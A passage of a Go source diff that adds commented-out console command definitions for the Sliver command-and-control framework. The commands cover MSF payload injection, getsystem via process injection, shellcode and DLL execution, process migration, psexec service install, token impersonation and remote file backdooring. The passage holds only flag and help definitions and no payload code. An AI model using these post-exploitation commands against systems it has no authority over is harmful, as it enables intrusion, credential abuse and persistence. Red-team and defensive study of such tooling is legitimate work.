f.Int("i", "iterations", 1, "iterations of the encoder") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // msf(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.MsfInjectStr, + // Help: "Inject an MSF payload into a process", + // LongHelp: help.GetHelpFor([]string{consts.MsfInjectStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("p", "pid", -1, "pid to inject into") + // f.String("m", "payload", "meterpreter_reverse_https", "msf payload") + // f.String("o", "lhost", "", "listen host") + // f.Int("l", "lport", 4444, "listen port") + // f.String("e", "encoder", "", "msf encoder") + // f.Int("i", "iterations", 1, "iterations of the encoder") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // msfInject(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // // [ Session Commands ] --------------------------------------------- + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.PsStr, + // Help: "List remote processes", + // LongHelp: help.GetHelpFor([]string{consts.PsStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("p", "pid", -1, "filter based on pid") + // f.String("e", "exe", "", "filter based on executable name") + // f.String("o", "owner", "", "filter based on owner") + // f.Bool("c", "print-cmdline", false, "print command line arguments") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // ps(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.PingStr, + // Help: "Send round trip message to implant (does not use ICMP)", + // LongHelp: help.GetHelpFor([]string{consts.PingStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // ping(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.GetPIDStr, + // Help: "Get session pid", + // LongHelp: help.GetHelpFor([]string{consts.GetPIDStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // getPID(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.GetUIDStr, + // Help: "Get session process UID", + // LongHelp: help.GetHelpFor([]string{consts.GetUIDStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // getUID(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.GetGIDStr, + // Help: "Get session process GID", + // LongHelp: help.GetHelpFor([]string{consts.GetGIDStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // getGID(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.WhoamiStr, + // Help: "Get session user execution context", + // LongHelp: help.GetHelpFor([]string{consts.WhoamiStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // whoami(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.LsStr, + // Help: "List current directory", + // LongHelp: help.GetHelpFor([]string{consts.LsStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("path", "path to enumerate", grumble.Default(".")) + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // filesystem.Ls(ctx, console) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.RmStr, + // Help: "Remove a file or directory", + // LongHelp: help.GetHelpFor([]string{consts.RmStr}), + // Flags: func(f *grumble.Flags) { + // f.Bool("r", "recursive", false, "recursively remove files") + // f.Bool("f", "force", false, "ignore safety and forcefully remove files") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("path", "path to the file to remove") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // filesystem.Rm(ctx, console) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.MkdirStr, + // Help: "Make a directory", + // LongHelp: help.GetHelpFor([]string{consts.MkdirStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("path", "path to the directory to create") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // mkdir(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.CdStr, + // Help: "Change directory", + // LongHelp: help.GetHelpFor([]string{consts.CdStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("path", "path to the directory", grumble.Default(".")) + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // cd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.PwdStr, + // Help: "Print working directory", + // LongHelp: help.GetHelpFor([]string{consts.PwdStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // pwd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.CatStr, + // Help: "Dump file to stdout", + // LongHelp: help.GetHelpFor([]string{consts.CatStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Bool("c", "colorize-output", false, "colorize output") + // f.Bool("X", "loot", false, "save output as loot") + // }, + // Args: func(a *grumble.Args) { + // a.String("path", "path to the file to print") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // cat(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.DownloadStr, + // Help: "Download a file", + // LongHelp: help.GetHelpFor([]string{consts.DownloadStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + + // f.Bool("X", "loot", false, "save output as loot") + // }, + // Args: func(a *grumble.Args) { + // a.String("remote-path", "path to the file or directory to download") + // a.String("local-path", "local path where the downloaded file will be saved", grumble.Default(".")) + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // download(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.UploadStr, + // Help: "Upload a file", + // LongHelp: help.GetHelpFor([]string{consts.UploadStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("local-path", "local path to the file to upload") + // a.String("remote-path", "path to the file or directory to upload to", grumble.Default("")) + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // upload(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.IfconfigStr, + // Help: "View network interface configurations", + // LongHelp: help.GetHelpFor([]string{consts.IfconfigStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // ifconfig(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.NetstatStr, + // Help: "Print network connection information", + // LongHelp: help.GetHelpFor([]string{consts.NetstatStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // netstat(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Bool("T", "tcp", true, "display information about TCP sockets") + // f.Bool("u", "udp", false, "display information about UDP sockets") + // f.Bool("4", "ip4", true, "display information about IPv4 sockets") + // f.Bool("6", "ip6", false, "display information about IPv6 sockets") + // f.Bool("l", "listen", false, "display information about listening sockets") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.ProcdumpStr, + // Help: "Dump process memory", + // LongHelp: help.GetHelpFor([]string{consts.ProcdumpStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("p", "pid", -1, "target pid") + // f.String("n", "name", "", "target process name") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // procdump(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.RunAsStr, + // Help: "Run a new process in the context of the designated user (Windows Only)", + // LongHelp: help.GetHelpFor([]string{consts.RunAsStr}), + // Flags: func(f *grumble.Flags) { + // f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate") + // f.String("p", "process", "", "process to start") + // f.String("a", "args", "", "arguments for the process") + // f.Int("t", "timeout", 30, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // runAs(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.ImpersonateStr, + // Help: "Impersonate a logged in user.", + // LongHelp: help.GetHelpFor([]string{consts.ImpersonateStr}), + // Args: func(a *grumble.Args) { + // a.String("username", "name of the user account to impersonate") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // impersonate(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", 30, "command timeout in seconds") + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.RevToSelfStr, + // Help: "Revert to self: lose stolen Windows token", + // LongHelp: help.GetHelpFor([]string{consts.RevToSelfStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // revToSelf(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", 30, "command timeout in seconds") + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.GetSystemStr, + // Help: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)", + // LongHelp: help.GetHelpFor([]string{consts.GetSystemStr}), + // Flags: func(f *grumble.Flags) { + // f.String("p", "process", "spoolsv.exe", "SYSTEM process to inject into") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // getsystem(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.ExecuteAssemblyStr, + // Help: "Loads and executes a .NET assembly in a child process (Windows Only)", + // LongHelp: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}), + // Args: func(a *grumble.Args) { + // a.String("filepath", "path the assembly file") + // a.StringList("arguments", "arguments to pass to the assembly entrypoint", grumble.Default([]string{})) + // }, + // Flags: func(f *grumble.Flags) { + // f.String("p", "process", "notepad.exe", "hosting process to inject into") + // f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)") + // f.String("c", "class", "", "Optional class name (required for .NET DLL)") + // f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") + // f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") + // f.Bool("s", "save", false, "save output to file") + // f.Bool("X", "loot", false, "save output as loot") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // executeAssembly(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.ExecuteShellcodeStr, + // Help: "Executes the given shellcode in the sliver process", + // LongHelp: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // executeShellcode(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.String("filepath", "path the shellcode file") + // }, + // Flags: func(f *grumble.Flags) { + // f.Bool("r", "rwx-pages", false, "Use RWX permissions for memory pages") + // f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)") + // f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode") + // f.Bool("i", "interactive", false, "Inject into a new process and interact with it") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.SideloadStr, + // Help: "Load and execute a shared object (shared library/DLL) in a remote process", + // LongHelp: help.GetHelpFor([]string{consts.SideloadStr}), + // Flags: func(f *grumble.Flags) { + // f.String("a", "args", "", "Arguments for the shared library function") + // f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)") + // f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") + // f.Bool("s", "save", false, "save output to file") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes") + // }, + // Args: func(a *grumble.Args) { + // a.String("filepath", "path the shared library file") + // }, + // HelpGroup: consts.SliverHelpGroup, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // sideload(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.SpawnDllStr, + // Help: "Load and execute a Reflective DLL in a remote process", + // LongHelp: help.GetHelpFor([]string{consts.SpawnDllStr}), + // Flags: func(f *grumble.Flags) { + // f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") + // f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL") + // f.Bool("s", "save", false, "save output to file") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes") + // }, + // Args: func(a *grumble.Args) { + // a.String("filepath", "path the DLL file") + // a.StringList("arguments", "arguments to pass to the DLL entrypoint", grumble.Default([]string{})) + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // spawnDll(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.MigrateStr, + // Help: "Migrate into a remote process", + // LongHelp: help.GetHelpFor([]string{consts.MigrateStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // migrate(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.Uint("pid", "pid") + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + + // websitesCmd := &grumble.Command{ + // Name: consts.WebsitesStr, + // Help: "Host static content (used with HTTP C2)", + // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // websites(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.String("name", "website name", grumble.Default("")) + // }, + // HelpGroup: consts.GenericHelpGroup, + // } + // websitesCmd.AddCommand(&grumble.Command{ + // Name: consts.RmStr, + // Help: "Remove an entire website", + // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // removeWebsite(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.String("name", "website name", grumble.Default("")) + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // websitesCmd.AddCommand(&grumble.Command{ + // Name: consts.RmWebContentStr, + // Help: "Remove content from a website", + // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), + // Flags: func(f *grumble.Flags) { + // f.Bool("r", "recursive", false, "recursively add/rm content") + // f.String("w", "website", "", "website name") + // f.String("p", "web-path", "", "http path to host file at") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // removeWebsiteContent(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // websitesCmd.AddCommand(&grumble.Command{ + // Name: consts.AddWebContentStr, + // Help: "Add content to a website", + // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), + // Flags: func(f *grumble.Flags) { + // f.String("w", "website", "", "website name") + // f.String("m", "content-type", "", "mime content-type (if blank use file ext.)") + // f.String("p", "web-path", "/", "http path to host file at") + // f.String("c", "content", "", "local file path/dir (must use --recursive for dir)") + // f.Bool("r", "recursive", false, "recursively add/rm content") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // addWebsiteContent(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // websitesCmd.AddCommand(&grumble.Command{ + // Name: consts.WebContentTypeStr, + // Help: "Update a path's content-type", + // LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}), + // Flags: func(f *grumble.Flags) { + // f.String("w", "website", "", "website name") + // f.String("m", "content-type", "", "mime content-type (if blank use file ext.)") + // f.String("p", "web-path", "/", "http path to host file at") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // updateWebsiteContent(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // console.App.AddCommand(websitesCmd) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.TerminateStr, + // Help: "Kill/terminate a process", + // LongHelp: help.GetHelpFor([]string{consts.TerminateStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // terminate(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.Uint("pid", "pid") + // }, + // Flags: func(f *grumble.Flags) { + // f.Bool("f", "force", false, "disregard safety and kill the PID") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.ScreenshotStr, + // Help: "Take a screenshot", + // LongHelp: help.GetHelpFor([]string{consts.ScreenshotStr}), + // Flags: func(f *grumble.Flags) { + // f.Bool("X", "loot", false, "save output as loot") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // screenshot(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.LoadExtensionStr, + // Help: "Load a sliver extension", + // LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // loadExtension(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.String("dir-path", "path to the extension directory") + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.NamedPipeStr, + // Help: "Start a named pipe pivot listener", + // LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}), + // Flags: func(f *grumble.Flags) { + // f.String("n", "name", "", "name of the named pipe") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // namedPipeListener(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.TCPListenerStr, + // Help: "Start a TCP pivot listener", + // LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}), + // Flags: func(f *grumble.Flags) { + // f.String("s", "server", "0.0.0.0", "interface to bind server to") + // f.Int("l", "lport", defaultTCPPivotPort, "tcp listen port") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // tcpListener(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.PsExecStr, + // Help: "Start a sliver service on a remote target", + // LongHelp: help.GetHelpFor([]string{consts.PsExecStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.String("s", "service-name", "Sliver", "name that will be used to register the service") + // f.String("d", "service-description", "Sliver implant", "description of the service") + // f.String("p", "profile", "", "profile to use for service binary") + // f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // psExec(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.String("hostname", "hostname") + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.BackdoorStr, + // Help: "Infect a remote file with a sliver shellcode", + // LongHelp: help.GetHelpFor([]string{consts.BackdoorStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.String("p", "profile", "", "profile to use for service binary") + // }, + // Args: func(a *grumble.Args) { + // a.String("remote-file", "path to the file to backdoor") + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // binject(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.MakeTokenStr, + // Help: "Create a new Logon Session with the specified credentials", + // LongHelp: help.GetHelpFor([]string{consts.MakeTokenStr}), + // Flags: func(f *grumble.Flags) { + // f.String("u", "username", "", "username of the user to impersonate") + // f.String("p", "password", "", "password of the user to impersonate") + // f.String("d", "domain", "", "domain of the user to impersonate") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // makeToken(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.SetStr, + // Help: "Set an implant/session option", + // LongHelp: help.GetHelpFor([]string{consts.SetStr}), + // Flags: func(f *grumble.Flags) { + // f.String("n", "name", "", "agent name to change to") + // f.Int("r", "reconnect", -1, "reconnect interval for agent") + // f.Int("p", "poll", -1, "poll interval for agent") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // updateSessionCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.GetEnvStr, + // Help: "List environment variables", + // LongHelp: help.GetHelpFor([]string{consts.GetEnvStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("name", "environment variable to fetch", grumble.Default("")) + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // getEnv(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.SetEnvStr, + // Help: "Set environment variables", + // LongHelp: help.GetHelpFor([]string{consts.SetEnvStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("name", "environment variable name") + // a.String("value", "value to assign") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // setEnv(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.UnsetEnvStr, + // Help: "Clear environment variables", + // LongHelp: help.GetHelpFor([]string{consts.UnsetEnvStr}), + // Args: func(a *grumble.Args) { + // a.String("name", "environment variable name") + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // unsetEnv(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.LicensesStr, + // Help: "Open source licenses", + // LongHelp: help.GetHelpFor([]string{consts.LicensesStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // fmt.Println(licenses.All) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // registryCmd := &grumble.Command{ + // Name: consts.RegistryStr, + // Help: "Windows registry operations", + // LongHelp: help.GetHelpFor([]string{consts.RegistryStr}), + // Run: func(ctx *grumble.Context) error { + // return nil + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // } + + // registryCmd.AddCommand(&grumble.Command{ + // Name: consts.RegistryReadStr, + // Help: "Read values from the Windows registry", + // LongHelp: help.GetHelpFor([]string{consts.RegistryReadStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // registryReadCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.String("registry-path", "registry path") + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.String("H", "hive", "HKCU", "egistry hive") + // f.String("o", "hostname", "", "remote host to read values from") + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + // registryCmd.AddCommand(&grumble.Command{ + // Name: consts.RegistryWriteStr, + // Help: "Write values to the Windows registry", + // LongHelp: help.GetHelpFor([]string{consts.RegistryWriteStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // registryWriteCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Args: func(a *grumble.Args) { + // a.String("registry-path", "registry path") + // a.String("value", "value to write") + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.String("H", "hive", "HKCU", "registry hive") + // f.String("o", "hostname", "", "remote host to write values to") + // f.String("T", "type", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path") + // f.String("p", "path", "", "path to the binary file to write") + // }, + // HelpGroup: consts.SliverWinHelpGroup, + // }) + // registryCmd.AddCommand(&grumble.Command{ + // Name: consts.RegistryCreateKeyStr, + // Help: "Create a registry key", + // LongHelp: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}), + // Args: func(a *grumble.Args) { + // a.String("registry-path", "registry path") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // regCreateKeyCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.String("H", "hive", "HKCU", "registry hive") + // f.String("o", "hostname", "", "remote host to write values to") + // }, + // }) + // console.App.AddCommand(registryCmd) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.PivotsListStr, + // Help: "List pivots", + // LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}), 